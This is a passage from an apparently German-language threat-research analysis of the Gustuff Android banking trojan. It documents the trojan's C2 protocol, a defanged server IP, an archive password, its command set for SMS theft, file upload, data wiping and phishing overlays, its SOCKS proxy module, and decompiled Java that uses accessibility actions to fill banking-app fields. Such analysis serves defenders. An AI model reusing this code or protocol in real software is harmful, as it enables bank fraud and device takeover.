
Vor kurzem hat Group-IB ĂŒber die AktivitĂ€t des mobilen Android-Trojaners Gustuff berichtet. Er operiert ausschlieĂlich auf internationalen MĂ€rkten und greift die Kunden der 100 gröĂten auslĂ€ndischen Banken, 32 mobile Krypto-Wallet-Nutzer sowie groĂe E-Commerce-Ressourcen an. Der Entwickler von Gustuff ist ein russischsprachiger Cyberkrimineller mit dem Pseudonym Bestoffer. Noch vor kurzem lobte er seinen Trojaner als âein ernsthaftes Produkt fĂŒr Menschen mit Wissen und Erfahrungâ.
Der Malwarespezialist von Group-IB Ivan Pisarev beschreibt in seiner Forschung ausfĂŒhrlich, wie Gustuff funktioniert und welche Gefahren davon ausgehen.
Wen Gustuff ins Visier nimmt
Gustuff gehört zur neuen Generation von Malware mit vollstĂ€ndig automatisierten Funktionen. Laut dem Entwickler ist der Trojaner eine neue, verbesserte Version der Malware AndyBot, die seit November 2017 Android-Telefone angreift und Geld ĂŒber Phishing-Webformulare stiehlt, die sich als mobile Anwendungen bekannter internationaler Banken und Zahlungssysteme maskieren. Bestoffer gab an, dass die Mietkosten fĂŒr den âGustuff Botâ 800 $ pro Monat betrugen.
Die Analyse der Gustuff-Probe hat gezeigt, dass der Trojaner potenziell auf Kunden abzielt, die mobile Anwendungen groĂer Banken wie Bank of America, Bank of Scotland, J.P. Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank sowie auf Krypto-Wallets wie Bitcoin Wallet, BitPay, Cryptopay, Coinbase usw. nutzen.
UrsprĂŒnglich als klassischer Banktrojaner entwickelt, hat Gustuff in der aktuellen Version die Liste der potenziellen Angriffsziele erheblich erweitert. Neben Android-Anwendungen von Banken, Fintech-Unternehmen und Krypto-Services zielt Gustuff auf Nutzer von Anwendungen von MarktplĂ€tzen, Online-Shops, Zahlungssystemen und Messenger-Diensten ab. Dazu gehören unter anderem PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut und andere.
Einstiegspunkt: Erwartung massenhafter Infektionen
Gustuff ist durch einen "klassischen" Infektionsvektor auf Android-Smartphones gekennzeichnet, der ĂŒber SMS-Versendungen mit Links zu APKs erfolgt. Bei der Infektion eines Android-GerĂ€ts kann der Trojaner auf Befehl des Servers weiterverbreitet werden, entweder ĂŒber das Adressbuch des infizierten Telefons oder ĂŒber die Datenbank des Servers. Die FunktionalitĂ€ten von Gustuff sind auf eine massenhafte Infektion und maximale Kapitalisierung des GeschĂ€fts seiner Betreiber ausgelegt â es verfĂŒgt ĂŒber eine einzigartige Funktion zur "automatischen Einspeisung" in legitime mobile Banking-Anwendungen und Krypto-Wallets, was den Diebstahl von Geld beschleunigen und skalieren kann.
Die Untersuchung des Trojaners hat gezeigt, dass die Funktion zur automatischen Einspeisung mithilfe des Accessibility Service â einem Dienst fĂŒr Menschen mit Behinderungen â implementiert ist. Gustuff ist nicht der erste Trojaner, der erfolgreich den Schutz vor der Interaktion mit Elementen anderer Anwendungen ĂŒber diesen Android-Dienst umgeht. Dennoch bleibt die Verwendung des Accessibility Service in Kombination mit der automatischen Einspeisung weiterhin ein relativ seltenes PhĂ€nomen.
Nach der Installation auf dem Telefon des Opfers hat Gustuff, unter Verwendung des Accessibility Service, die Möglichkeit, mit den Elementen anderer Anwendungen (Bank-, Krypto-Anwendungen sowie Online-Shopping-, Messaging-Anwendungen usw.) zu interagieren und die fĂŒr die Angreifer erforderlichen Aktionen auszufĂŒhren. Beispielsweise kann der Trojaner auf Befehl des Servers Tasten drĂŒcken und Werte in Textfeldern von Banking-Anwendungen Ă€ndern. Der Einsatz des Accessibility Service ermöglicht es dem Trojaner, die Schutzmechanismen zu umgehen, die von Banken gegen mobile Trojaner der vorherigen Generation eingesetzt werden, sowie Ănderungen an den Sicherheitsrichtlinien, die Google in neue Versionen des Android-Betriebssystems integriert hat. So kann Gustuff beispielsweise den Schutz von Google Protect deaktivieren: Nach Angaben des Autors funktioniert diese Funktion in 70 % der FĂ€lle.

Gustuff kann auch gefĂ€lschte PUSH-Benachrichtigungen mit Symbolen legitimer mobiler Anwendungen darstellen. Der Benutzer klickt auf die PUSH-Benachrichtigung und sieht ein mit dem Server geladenes Phishing-Fenster, in das er die angeforderten Daten seiner Bankkarte oder Kryptowallet eingibt. In einem anderen Szenario öffnet Gustuff die App, von deren Namen die PUSH-Benachrichtigung dargestellt wurde. In diesem Fall kann die Malware auf Befehl des Servers ĂŒber den Accessibility-Dienst die Formularfelder der Banking-App fĂŒr eine betrĂŒgerische Transaktion ausfĂŒllen.
Zu den FunktionalitĂ€ten von Gustuff gehören auch das Senden von Informationen ĂŒber das kompromittierte GerĂ€t an den Server, die Möglichkeit SMS-Nachrichten zu lesen/zu senden, das Senden von USSD-Anfragen, das Starten eines SOCKS5-Proxys, das Ăffnen von Links, das Senden von Dateien (einschlieĂlich Fotokopien von Dokumenten, Screenshots, Fotos) an den Server sowie das ZurĂŒcksetzen des GerĂ€ts auf die Werkseinstellungen.
Analyse der Malware
Vor der Installation der Malware-Anwendung zeigt das Android-Betriebssystem dem Benutzer ein Fenster an, das eine Liste der von Gustuff angeforderten Berechtigungen enthÀlt:

Die Installation der Anwendung erfolgt erst nach Zustimmung des Benutzers. Nach dem Start der Anwendung zeigt der Trojaner dem Benutzer ein Fenster an:

Danach wird er sein Symbol entfernen.
Gustuff ist nach Angaben des Autors mit einem Pack-Tool von FTT verpackt. Nach dem Start kontaktiert die Anwendung regelmĂ€Ăig den CnC-Server, um Befehle zu erhalten. In mehreren von uns untersuchten Dateien wurde die IP-Adresse als Steuerserver verwendet. 88.99.171[.]105 (wir werden dies spĂ€ter als <%CnC%>).
Nach dem Start beginnt das Programm, Nachrichten an den Server zu senden. http:///api/v1/get.php.
Als Antwort wird ein JSON im folgenden Format erwartet:
{
"results" : "OK",
"command":{
"id": "",
"command":"",
"timestamp":"",
"params":{
},
},
}Bei jedem Aufruf sendet die Anwendung Informationen ĂŒber das kompromittierte GerĂ€t. Das Nachrichtenformat ist unten angegeben. Es ist zu beachten, dass die Felder full, extra, apps und permission â optional sind und nur im Falle eines Anfragebefehls vom CnC gesendet werden.
{
"info":
{
"info":
{
"cell":,
"country":,
"imei":,
"number":,
"line1Number":,
"advertisementId":
},
"state":
{
"admin":,
"source":,
"needPermissions":,
"accesByName":,
"accesByService":,
"safetyNet":,
"defaultSmsApp":,
"isDefaultSmsApp":,
"dateTime":,
"batteryLevel":
},
"socks":
{
"id":,
"enabled":,
"active":
},
"version":
{
"versionName":,
"versionCode":,
"lastUpdateTime":,
"tag":,
"targetSdkVersion":,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":,
"localeCountry":,
"localeLang":,
"accounts":,
"lockType":
},
"extra":
{
"serial":,
"board":,
"brand":,
"user":,
"device":,
"display":,
"id":,
"manufacturer":,
"model":,
"product":,
"tags":,
"type":,
"imei":,
"imsi":,
"line1number":,
"iccid":,
"mcc":,
"mnc":,
"cellid":,
"lac":,
"androidid":,
"ssid":
},
"apps":{},
"permission":
} Speicherung von Konfigurationsdaten
Gustuff speichert wichtige Informationen fĂŒr den Betrieb in einer PrĂ€ferenzdatei. Der Dateiname sowie die Namen der Parameter darin sind das Ergebnis einer MD5-PrĂŒfziffern-Berechnung des Strings 15413090667214.6.1
nameGenerator(input):
output = md5("15413090667214.6.1" + input) Im Folgenden bezeichnen wir es als nameGenerator(input).
Somit ist der Name der ersten Datei: nameGenerator(âAPI_SERVER_LISTâ), er enthĂ€lt Werte mit den folgenden Namen:
| Name der Variablen | Wert |
|---|---|
| nameGenerator(âAPI_SERVER_LISTâ) | EnthĂ€lt eine Liste von CnC-Adressen als Array. |
| nameGenerator(âAPI_SERVER_URLâ) | EnthĂ€lt die CnC-Adresse. |
| nameGenerator(âSMS_UPLOADâ) | StandardmĂ€Ăig ist das Flag gesetzt. Wenn das Flag gesetzt ist, sendet es SMS-Nachrichten an CnC. |
| nameGenerator(«SMS_ROOT_NUMBER») | Die Telefonnummer, an die SMS-Nachrichten von dem infizierten GerĂ€t gesendet werden. StandardmĂ€Ăig null. |
| nameGenerator(«SMS_ROOT_NUMBER_RESEND») | StandardmĂ€Ăig zurĂŒckgesetzt. Wenn aktiviert, wird die erhaltene SMS an die Root-Nummer gesendet. |
| nameGenerator(«DEFAULT_APP_SMS») | StandardmĂ€Ăig zurĂŒckgesetzt. Wenn dieses Flag gesetzt ist, verarbeitet die Anwendung eingehende SMS-Nachrichten. |
| nameGenerator(«DEFAULT_ADMIN») | StandardmĂ€Ăig zurĂŒckgesetzt. Wenn das Flag aktiviert ist, hat die Anwendung Administratorrechte. |
| nameGenerator(«DEFAULT_ACCESSIBILITY») | StandardmĂ€Ăig zurĂŒckgesetzt. Wenn das Flag aktiviert ist, wird ein Dienst gestartet, der den Accessibility-Dienst nutzt. |
| nameGenerator(«APPS_CONFIG») | JSON-Objekt, das eine Liste von Aktionen enthĂ€lt, die bei einem Accessibility-Ereignis in Bezug auf eine bestimmte Anwendung ausgefĂŒhrt werden mĂŒssen. |
| nameGenerator(«APPS_INSTALLED») | Speichert die Liste der auf dem GerÀt installierten Anwendungen. |
| nameGenerator(«IS_FIST_RUN») | Flag wird beim ersten Start zurĂŒckgesetzt. |
| nameGenerator(«UNIQUE_ID») | EnthÀlt eine eindeutige Identifikation. Wird beim ersten Start des Bots generiert. |
Modul zur Verarbeitung von Befehlen vom Server
Die Anwendung speichert die Adressen der CnC-Server als Array kodierter Base85 Strings. Die Liste der CnC kann bei Eingang des entsprechenden Befehls geÀndert werden, in diesem Fall werden die Adressen in der PrÀferenzdatei gespeichert. Server Als Antwort auf eine Anfrage sendet der Server einen Befehl an die Anwendung. Es ist zu beachten, dass die Befehle und Parameter im JSON-Format vorliegen. Die Anwendung kann folgende Befehle verarbeiten:
forwardStart
| Team | Beschreibung |
|---|---|
| Beginnen Sie mit dem Senden der empfangenen SMS-Nachrichten des infizierten GerÀts an den CnC-Server. | forwardStop |
| Stoppen Sie das Senden der empfangenen SMS-Nachrichten des infizierten GerÀts an den CnC-Server. | ussdRun |
| FĂŒhren Sie eine USSD-Anfrage aus. Die Nummer, an die die USSD-Anfrage gerichtet werden soll, befindet sich im JSON-Feld ânumberâ. | sendSms |
| Senden Sie eine einzelne SMS-Nachricht (wenn nötig, wird die Nachricht in Teile zerlegt). Der Befehl akzeptiert ein JSON-Objekt mit den Feldern âtoâ â Zielnummer und âbodyâ â Text der Nachricht. | sendSmsAb |
| Senden Sie SMS-Nachrichten (wenn nötig, wird die Nachricht in Teile zerlegt) an alle in der Kontaktliste des infizierten GerĂ€ts. Der Abstand zwischen den gesendeten Nachrichten betrĂ€gt 10 Sekunden. Der Text der Nachricht befindet sich im JSON-Feld âbodyâ | sendSmsMass |
| sendSmsMass | Senden Sie SMS-Nachrichten (falls erforderlich wird die Nachricht in Teile "zerlegt") an die in den Befehl-Parametern angegebenen Kontakte. Der Zeitabstand zwischen dem Versand der Nachrichten betrĂ€gt 10 Sekunden. Als Parameter akzeptiert der Befehl ein JSON-Array (Feld âsmsâ), dessen Elemente die Felder âtoâ â die Zielnummer und âbodyâ â den Nachrichtentext enthalten. |
| changeServer | Dieser Befehl kann als Parameter einen Wert mit dem SchlĂŒssel âurlâ annehmen â dann Ă€ndert der Bot den Wert von nameGenerator(âSERVER_URLâ), oder âarrayâ â dann speichert der Bot das Array in nameGenerator(âAPI_SERVER_LISTâ). So Ă€ndert die Anwendung die Adresse der CnC-Server. |
| adminNumber | Der Befehl ist dafĂŒr gedacht, mit der Root-Nummer zu arbeiten. Der Befehl akzeptiert ein JSON-Objekt mit den folgenden Parametern: ânumberâ â Ă€ndert nameGenerator(âROOT_NUMBERâ) auf den erhaltenen Wert, âresendâ â Ă€ndert nameGenerator(âSMS_ROOT_NUMBER_RESENDâ), âsendIdâ â sendet uniqueID an nameGenerator(âROOT_NUMBERâ). |
| updateInfo | Senden Sie Informationen ĂŒber das infizierte GerĂ€t an den Server. |
| wipeData | Der Befehl dient zum Löschen von Benutzerdaten. Je nachdem, unter welchem Namen die Anwendung gestartet wurde, erfolgt entweder das vollstÀndige Löschen der Daten mit Neustart des GerÀts (primÀrer Benutzer) oder nur das Löschen der Benutzerdaten (sekundÀrer Benutzer). |
| socksStart | Starten Sie das Proxy-Modul. Die Funktionsweise des Moduls wird in einem eigenen Abschnitt beschrieben. |
| socksStop | Stoppen Sie die Arbeit des Proxy-Moduls. |
| openLink | Gehen Sie zur Link. Der Link befindet sich im JSON-Parameter mit dem SchlĂŒssel âurlâ. Zum Ăffnen des Links wird âandroid.intent.action.VIEWâ verwendet. |
| uploadAllSms | Senden Sie alle vom GerÀt empfangenen SMS-Nachrichten an den Server. |
| uploadAllPhotos | Ăbertragen Sie das Bild von dem infizierten GerĂ€t an die URL. Die URL kommt als Parameter. |
| uploadFile | Senden Sie die Datei von dem infizierten GerÀt an die URL. Die URL kommt als Parameter. |
| uploadPhoneNumbers | Senden Sie die Telefonnummern aus der Kontaktliste an den Server. Wenn als Parameter ein JSON-Objekt mit dem SchlĂŒssel âabâ kommt, erhĂ€lt die Anwendung die Kontaktliste aus dem Adressbuch. Wenn als Parameter ein JSON-Objekt mit dem SchlĂŒssel âsmsâ kommt, liest die Anwendung die Kontaktliste von den Absendern der SMS-Nachrichten. |
| changeArchive | Die Anwendung lĂ€dt eine Datei von einer Adresse, die als Parameter mit dem SchlĂŒssel âurlâ ĂŒbergeben wird. Die heruntergeladene Datei wird unter dem Namen âarchive.zipâ gespeichert. AnschlieĂend entpackt die Anwendung die Datei und verwendet bei Bedarf das Passwort fĂŒr das Archiv âb5jXh37gxgHBrZhQ4j3Dâ. Die entpackten Dateien werden im Verzeichnis [external storage]/hgps gespeichert. In diesem Verzeichnis speichert die Anwendung Web-Fakes (siehe unten). |
| Aktionen | Der Befehl ist fĂŒr die Arbeit mit dem Action Service gedacht, der in einem separaten Abschnitt beschrieben wird. |
| test | Tut nichts. |
| download | Der Befehl ist zum Herunterladen einer Datei von einem entfernten Server und zum Speichern im Verzeichnis âDownloadsâ gedacht. URL und Dateiname werden als Parameter im JSON-Objekt mit den entsprechenden Feldern âurlâ und âfileNameâ ĂŒbergeben. |
| remove | Löscht eine Datei aus dem Verzeichnis âDownloadsâ. Der Dateiname wird im JSON-Parameter mit dem SchlĂŒssel âfileNameâ ĂŒbergeben. Der Standarddateiname ist âtmp.apkâ. |
| notification | Zeigt eine Benachrichtigung mit den Texten fĂŒr Beschreibung und Titel an, die vom Steuerungsserver festgelegt werden. |
Befehlsformat notification:
{
"results" : "OK",
"command":{
"id": ,
"command":"notification",
"timestamp":,
"params":{
"openApp":,
"array":[
{"title":,
"desc":,
"app":}
]
},
},
}Die Benachrichtigung, die von der zu untersuchenden Datei erstellt wird, sieht identisch aus mit den Benachrichtigungen, die von der im Feld angegebenen Anwendung erstellt werden. App. Wenn der Wert des Feldes openApp â True, wird bei Ăffnen der Benachrichtigung die angegebene Anwendung im Feld gestartet. App. Wenn der Wert des Feldes openApp â False, dann:
- wird ein Phishing-Fenster geöffnet, dessen Inhalt aus dem Verzeichnis geladen wird /hgps/
- wird ein Phishing-Fenster geöffnet, dessen Inhalt vom Server geladen wird ?id=&app=
- wird ein Phishing-Fenster geöffnet, das als Google Play-Karte getarnt ist, mit der Möglichkeit, Kartendaten einzugeben.
Das Ergebnis der AusfĂŒhrung eines jeden Befehls sendet die Anwendung an set_state.php in Form eines JSON-Objekts im folgenden Format:
{
"command":
{
"command":,
"id":,
"state":
}
"id":
} ActionsService
Die Liste der Befehle, die die Anwendung verarbeitet, umfasst Aktion. Bei Eingang eines Befehls greift das Modul zur Verarbeitung von Befehlen auf diesen Dienst zurĂŒck, um den erweiterten Befehl auszufĂŒhren. Der Dienst akzeptiert ein JSON-Objekt als Parameter. Der Dienst kann folgende Befehle ausfĂŒhren:
1. PARAMS_ACTION Bei Erhalt eines solchen Befehls erhĂ€lt der Dienst zunĂ€chst den Wert des SchlĂŒssels "Type" aus dem JSON-Parameter. Dieser kann folgendes sein:
- serviceInfo Der Unterbefehl erhĂ€lt den Wert des SchlĂŒssels aus dem JSON-Parameter includeNotImportant. Wenn das Flag auf True steht, wird das Flag FLAG_ISOLATED_PROCESS fĂŒr den Dienst gesetzt, der Accessibility Service verwendet. So wird der Dienst in einem separaten Prozess gestartet.
- root Erhalten und senden Sie Informationen ĂŒber das Fenster, das derzeit im Fokus ist. Die Anwendung erhĂ€lt Informationen ĂŒber die Klasse AccessibilityNodeInfo.
- admin Die Berechtigungen des Administrators anfordern.
- delay Halten Sie den ActionsService fĂŒr die Anzahl von Millisekunden an, die im Parameter mit dem SchlĂŒssel âdataâ angegeben ist.
- windows Eine Liste der dem Benutzer sichtbaren Fenster senden.
- install Die Anwendung auf ein infiziertes GerĂ€t installieren. Der Paketname des Archivs wird im SchlĂŒssel âfileNameâ angegeben. Das Archiv selbst befindet sich im Verzeichnis Downloads.
- global Der Unterbefehl ist dafĂŒr gedacht, den Wechsel vom aktuellen Fenster durchzufĂŒhren:
- zum MenĂŒ "Schnelleinstellungen"
- zurĂŒck
- nach Hause
- zu den Benachrichtigungen
- zum Fenster der zuletzt geöffneten Anwendungen
- launch Ein Programm starten. Der Name des Programms wird als Parameter mit dem SchlĂŒssel data.
- sounds den Soundmodus auf Stumm Àndern.
- unlock Schaltet die Bildschirm- und Tastaturbeleuchtung auf volle Helligkeit. Die Anwendung fĂŒhrt diese Aktion mit WakeLock aus und gibt den Tag [Application lable]:INFO an.
- permissionOverlay Die Funktion ist nicht implementiert (Antwort auf die AusfĂŒhrung des Befehls â {âmessageâ:âNot supportâ} oder {âmessageâ:âlow sdkâ})
- gesture Die Funktion ist nicht implementiert (Antwort auf die AusfĂŒhrung des Befehls â {âmessageâ:âNot supportâ} oder {âmessageâ:âLow APIâ})
- Berechtigungen Dieser Befehl ist erforderlich, um Berechtigungen fĂŒr die Anwendung anzufordern. Da die Anforderungsfunktion jedoch nicht implementiert ist, ist der Befehl nicht sinnvoll. Die angeforderten Berechtigungen kommen als JSON-Array mit dem SchlĂŒssel âpermissionsâ. Standardliste:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- öffnen Ein Phishingfenster auf dem Bildschirm anzeigen. Je nach dem vom Server empfangenen Parameter kann die Anwendung folgende Phishingfenster anzeigen:
- Zeigen Sie das Phishingfenster an, dessen Inhalt in einer Datei im Verzeichnis gespeichert ist /hgps/Das Ergebnis der Interaktion des Benutzers mit dem Fenster wird an die Adresse gesendet /records.php
- Phishing-Fenster anzeigen, dessen Inhalt vorab von der Adresse geladen wird ?id=&app=Das Ergebnis der Interaktion des Benutzers mit dem Fenster wird an die Adresse gesendet /records.php
- Phishing-Fenster anzeigen, das als Google Play Card getarnt ist.
- interaktiv â Der Befehl dient der Interaktion mit Elementen von Fenstern anderer Anwendungen ĂŒber den AccessibilityService. FĂŒr die Interaktion wurde ein spezieller Dienst implementiert. Die Zielanwendung kann mit den Fenstern interagieren:
- Aktiv zur Zeit. In diesem Fall enthÀlt der Parameter die ID oder den Text (Bezeichnung) des Objekts, mit dem interagiert werden soll.
- FĂŒr den Benutzer sichtbaren zum Zeitpunkt der BefehlsausfĂŒhrung. Die Anwendung wĂ€hlt Fenster nach ID aus.
Nachdem Objekte erhalten wurden AccessibilityNodeInfo fĂŒr die interessierenden Elemente des Fensters kann die Anwendung je nach Parameter Aktionen ausfĂŒhren:
- focus â den Fokus auf das Objekt setzen.
- click â auf das Objekt klicken.
- actionId â Aktion nach ID ausfĂŒhren.
- setText â den Text des Objekts Ă€ndern. Die Ănderung des Textes ist auf zwei Arten möglich: entweder durch das AusfĂŒhren der Aktion ACTION_SET_TEXT (wenn die Android-Version des infizierten GerĂ€ts Ă€lter oder gleich ist LOLLIPOP), oder indem man eine Zeichenfolge in die Zwischenablage einfĂŒgt und sie im Objekt einfĂŒgt (fĂŒr neuere Versionen). Dieser Befehl kann zur Ănderung von Daten in der Bankanwendung verwendet werden.
2. PARAMS_ACTIONS â dasselbe wie PARAMS_ACTION, es kommt jedoch als JSON-Array von Befehlen.
Es scheint, dass viele neugierig darauf sind, wie die Funktion zur Interaktion mit den Elementen eines Fensters einer anderen Anwendung aussieht. So wurde diese FunktionalitÀt in Gustuff umgesetzt:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}Text ersetzen Funktion:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}So kann der Gustuff-Controller bei richtiger Konfiguration Textfelder in einer Banking-App ausfĂŒllen und die erforderlichen Tasten fĂŒr Transaktionen drĂŒcken. Der Trojaner muss sich nicht einmal im App-Login anmelden â es genĂŒgt, einen Befehl zum Anzeigen einer PUSH-Benachrichtigung zu senden, gefolgt vom Ăffnen der zuvor installierten Banking-App. Der Benutzer wird sich selbst authentifizieren, wonach Gustuff eine automatische Ăbertragung durchfĂŒhren kann.
Modul zur Verarbeitung von SMS-Nachrichten
Die App registriert einen Ereignishandler fĂŒr den Empfang von SMS-Nachrichten auf dem infizierten GerĂ€t. Die untersuchte App kann Befehle vom Betreiber empfangen, die im Textkörper der SMS-Nachricht ankommen. Die Befehle kommen im Format:
7!5=
Die App sucht in allen eingehenden SMS-Nachrichten nach der Zeichenfolge 7!5=, bei der Erkennung der Zeichenfolge â dekodiert die Base64-Zeichenfolge mit einer Verschiebung von 4 und fĂŒhrt den Befehl aus. Die Befehle sind Ă€hnlich wie bei CnC. Das Ergebnis der AusfĂŒhrung wird an die gleiche Nummer gesendet, von der der Befehl kam. Das Antwortformat:
7*5=
Optional kann die Anwendung alle empfangenen Nachrichten an die Root-Nummer senden. Dazu muss in der preference-Datei die Root-Nummer angegeben und das Umleitungsflag fĂŒr Nachrichten gesetzt werden. Die SMS-Nachricht wird an die Nummer des Angreifers im Format gesendet:
â
Die Anwendung kann auch optional Nachrichten an CnC senden. Die SMS-Nachricht wird im JSON-Format an den Server gesendet:
{
"id":,
"sms":
{
"text":,
"number":,
"date":
}
}Wenn das Flag gesetzt ist nameGenerator(«DEFAULT_APP_SMS») â stoppt die Anwendung die Verarbeitung der SMS-Nachricht und leert die Liste der eingehenden Nachrichten.
Proxy-Modul
In der untersuchten Anwendung gibt es ein Backconnect Proxy-Modul (im Folgenden Proxy-Modul), das eine separate Klasse mit statischen Feldern zur Konfiguration enthÀlt. Die Konfigurationsdaten werden im Sample im Klartext gespeichert:

Alle Aktionen, die vom Proxy-Modul durchgefĂŒhrt werden, werden in Dateien protokolliert. Dazu erstellt die Anwendung im External Storage ein Verzeichnis mit dem Namen âlogsâ (Feld ProxyConfigClass.logsDir in der Konfigurationsklasse), in dem die Protokolldateien gespeichert werden. Das Protokollieren erfolgt in Dateien mit den Namen:
- main.txt â in dieser Datei wird die Arbeit der Klasse mit dem Namen CommandServer protokolliert. In Zukunft werden wir das Protokollieren der Zeichenfolge str in dieser Datei als mainLog(str) bezeichnen.
- session-.txt â in dieser Datei werden die Protokolldaten gespeichert, die mit einer bestimmten Proxy-Sitzung verbunden sind. In Zukunft werden wir das Protokollieren der Zeichenfolge str in dieser Datei als sessionLog(str) bezeichnen.
- server.txt â in dieser Datei werden alle Daten protokolliert, die in die oben beschriebenen Dateien geschrieben werden.
Format der Protokolldaten:
[Thread[], id[]]: log-string
Die wÀhrend des Betriebs des Proxy-Moduls aufgetretenen Ausnahmen werden ebenfalls in eine Datei protokolliert. Dazu erstellt die Anwendung ein JSON-Objekt im Format:
{
"uncaughtException":
"thread":
"message":
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}Danach wird es in eine Zeichenfolge umgewandelt und protokolliert.
Der Start des Proxy-Moduls erfolgt nach dem Empfang des entsprechenden Befehls. Bei Erhalt des Befehls zum Start des Proxy-Moduls startet die Anwendung den Dienst mit dem Namen MainService, der fĂŒr die Verwaltung des Proxy-Moduls verantwortlich ist â seine Aktivierung und Deaktivierung.
Die Schritte zum Starten des Dienstes:
1. Startet einen Timer, der einmal pro Minute ausgelöst wird und die AktivitĂ€t des Proxy-Moduls ĂŒberprĂŒft. Wenn das Modul nicht aktiv ist, wird es gestartet.
Ebenfalls beim Auslösen des Ereignisses android.net.conn.CONNECTIVITY_CHANGE wird das Proxy-Modul gestartet.
2. Die Anwendung erstellt einen Wake-Lock mit dem Parameter PARTIAL_WAKE_LOCK und hÀlt ihn fest. So wird verhindert, dass die CPU des GerÀts in den Ruhezustand wechselt.
3. Startet die Klasse zur Verarbeitung von Befehlen des Proxy-Moduls, nachdem sie die Zeile mainLog(âstart serverâ) und
Server::start() host[], commandPort[], proxyPort[]
wo proxy_cnc, command_port und proxy_port sind Parameter, die aus der Konfiguration des Proxy-Servers abgerufen wurden.
Die Klasse zur Verarbeitung von Befehlen trĂ€gt den Namen CommandConnection. Direkt nach dem Start fĂŒhrt sie die folgenden Aktionen aus:
4. Stellt eine Verbindung zu ProxyConfigClass.host: ProxyConfigClass.commandPort her und sendet dort Daten ĂŒber das infizierte GerĂ€t im JSON-Format:
{
"id":,
"imei":,
"imsi":,
"model":,
"manufacturer":,
"androidVersion":,
"country":,
"partnerId":,
"packageName":,
"networkType":,
"hasGsmSupport":,
"simReady":,
"simCountry":,
"networkOperator":,
"simOperator":,
"version":
}Wo:
- id â Der Identifikator, versucht den Wert mit dem Feld âidâ aus der Shared Preference-Datei mit dem Namen âxâ abzurufen. Wenn dieser Wert nicht abgerufen werden konnte, wird ein neuer generiert. So hat das Proxy-Modul seine eigene Identifikation, die Ă€hnlich wie die Bot-ID generiert wird.
- imei â IMEI des GerĂ€ts. Wenn es bei der Abrufung des Wertes zu einem Fehler kommt, wird anstelle dieses Feldes eine Fehlermeldung gespeichert.
- imsi â Internationale mobile TeilnehmeridentitĂ€t des GerĂ€ts. Wenn beim Abrufen des Wertes ein Fehler aufgetreten ist, wird anstelle dieses Feldes eine Fehlermeldung gespeichert.
- model â Der fĂŒr den Endbenutzer sichtbare Name des Endprodukts.
- manufacturer â Der Hersteller des Produkts/HĂ€rteware (Build.MANUFACTURER).
- androidVersion â Zeichenfolge im Format â (),â
- country â Aktueller Standort des GerĂ€ts.
- partnerId â leere Zeichenfolge.
- packageName â Paketname.
- networkType â Art der aktuellen Netzwerkverbindung (Beispiel: âWIFIâ, âMOBILEâ). Bei einem Fehler wird null zurĂŒckgegeben.
- hasGsmSupport â true â wenn das Telefon GSM unterstĂŒtzt, andernfalls false.
- simReady â Zustand der SIM-Karte.
- simCountry â ISO-Code des Landes (basierend auf dem Anbieter der SIM-Karte).
- networkOperator â Bezeichnung des Anbieters. Wenn beim Abrufen des Wertes ein Fehler aufgetreten ist, wird anstelle dieses Feldes eine Fehlermeldung gespeichert.
- simOperator â Der Dienstanbietername (SPN). Wenn beim Abrufen des Wertes ein Fehler aufgetreten ist, wird anstelle dieses Feldes eine Fehlermeldung gespeichert.
- version â Dieses Feld wird in der Konfigurationsklasse gespeichert, fĂŒr die untersuchten Versionen des Bots war es gleich â1.6â.
5. Wechselt in den Wartemodus auf Befehle vom Server. Die Befehle vom Server liegen im Format vor:
- 0 offset â Befehl
- 1 offset â sessionId
- 2 offset â LĂ€nge
- 4 offset â Daten
Bei Eingang des Befehls protokolliert die Anwendung:
mainLog("Header { sessionId], type[], length[] }")
Die folgenden Befehle vom Server sind möglich:
| Name | Befehl | Daten | Beschreibung |
|---|---|---|---|
| connectionId | 0 | Verbindungs-ID | Neue Verbindung erstellen |
| SLEEP | 3 | Zeit | Unterbrechen des Proxy-Moduls |
| PING_PONG | 4 | â | Sende PONG-Nachricht |
Die PONG-Nachricht besteht aus 4 Bytes und sieht folgendermaĂen aus: 0x04000000.
Beim Empfang des Befehls connectionId (zum Erstellen einer neuen Verbindung) CommandConnection wird eine Instanz der Klasse erstellt ProxyConnection.
- Beim Proxying sind zwei Klassen beteiligt: ProxyConnection und end. Bei der Erstellung der Klasse ProxyConnection erfolgt die Verbindung zur Adresse ProxyConfigClass.host: ProxyConfigClass.proxyPort und Ăbertragung des JSON-Objekts:
{
"id":
